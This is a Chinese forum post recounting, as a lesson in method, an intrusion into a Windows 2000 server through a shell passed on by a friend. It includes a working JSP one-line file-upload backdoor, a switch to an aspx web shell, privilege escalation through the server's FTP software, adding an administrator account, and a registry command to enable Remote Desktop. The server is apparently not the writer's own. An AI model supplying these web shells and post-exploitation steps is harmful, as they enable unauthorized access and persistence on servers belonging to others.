定位 发表于 2016-10-15 19:39:25

记一次windows2000提权(主要是思路)

这是别人提权的一个过程,感兴趣的看看,了解一下其思路


一个朋友发来的shell,密码什么的我就不说了,看看思路吧,现在开始看,不一定能成功。脚本探测了一下,发现支持jsp,如图:
于是直接传个jsp的shell上去,但是貌似悲剧了:


看一下test.jsp的代码,看到只有一个笑脸符号,把代码换成jsp的一句话:<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>999999999999
保存再访问,如图:

蛋疼啊,成功解析了,但是为什么我的大马不解析呢?又传了几个jsp的shell上去,发现都不解析,直接给下载了,说明服务器实际上不支持jsp。
那就另寻思路了。
我还是喜欢在aspx的shell里做事,于是传个上去,可以解析。

执行CMD的时候出了点问题,如图:


找不到路径,说明默认的cmd.exe的路径不对,难道是这服务器的系统盘不是C盘?或者不是2003的服务器?看了下C盘,发现了WINNT,如图:


果然是2000的服务器,这样的话,把shell中默认的cmd.exe的路径改成:
c:\winnt\system32\cmd.exe
这样就可以了,如图:


netstat -an看了下端口,发现21和43958都是开启的,如图:


试试能不能直接提吧,看这服务器的安全设置,目录都可以浏览,cmd也可以执行,如果不出意外,su应该可以提。不出所料,果然可以直接提,如图:




直接加用户了,如图:



看了下IP,是内网,如图:



其实是内网也不一定需要转发的,因为有的内网服务器是处在DMZ区的,所以有的是可以直接连的,前边看3389没有开,21是开放的,ftp连一下,看能不能连上,如果能连上,那就不需要转发了,如图:


连上了,跟刚才提权的时候返回的版本也一样,可以确定是同一台服务器,说明这台主机是不需要转发就可以直接连的。把netstat -an里所有可疑的端口都尝试了一遍,都连不上,难道是远程桌面没开?

这台服务器是处在内网中的DMZ区的,所以本地直接管理的可能性是非常大的,并且IP还是10开头的,说明内网挺大,还有就是shell里边的文件很乱,这些情况在托管的服务器中是看不到的,所以这台服务器很有可能是没有开启远程桌面服务。

net start看了一下已经开启的服务,发现远程桌面Terminal Server确实没有开,那就帮他开了吧。
开启3389的命令是:REG ADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 0 /f直接用SU执行就可以了。

执行成功,再来看一下端口,蛋疼,3389还是没开,又在asp的shell里读了一下远程桌面的端口,确实是3389,当时我上边执行的开启3389的命令是用于2003的服务器的,这是个2000,所以不成功,蛋疼。再执行:net startTerminal Services蛋疼,还是不行。

2000的服务器现在还真少见,我再研究研究怎么开他3389吧。简单查了下资料,说是当2000执行queryuser没反应的时候说明终端组件不存在,是没办法开3389的,这个问题有待以后考证,反正现在执行queryuser是没反应的,连也是连不上了,传了个3389的bat上去,运行后还是没开,不过反正是有system,直接上马就行,但我是内网,这步骤就省略了吧。本来想给服务器重启一下试试的,无奈这个2000好像不带shutdown.exe,自己传了个上去,执行了,但是好像没反应,蛋疼。
页: [1]
查看完整版本: 记一次windows2000提权(主要是思路)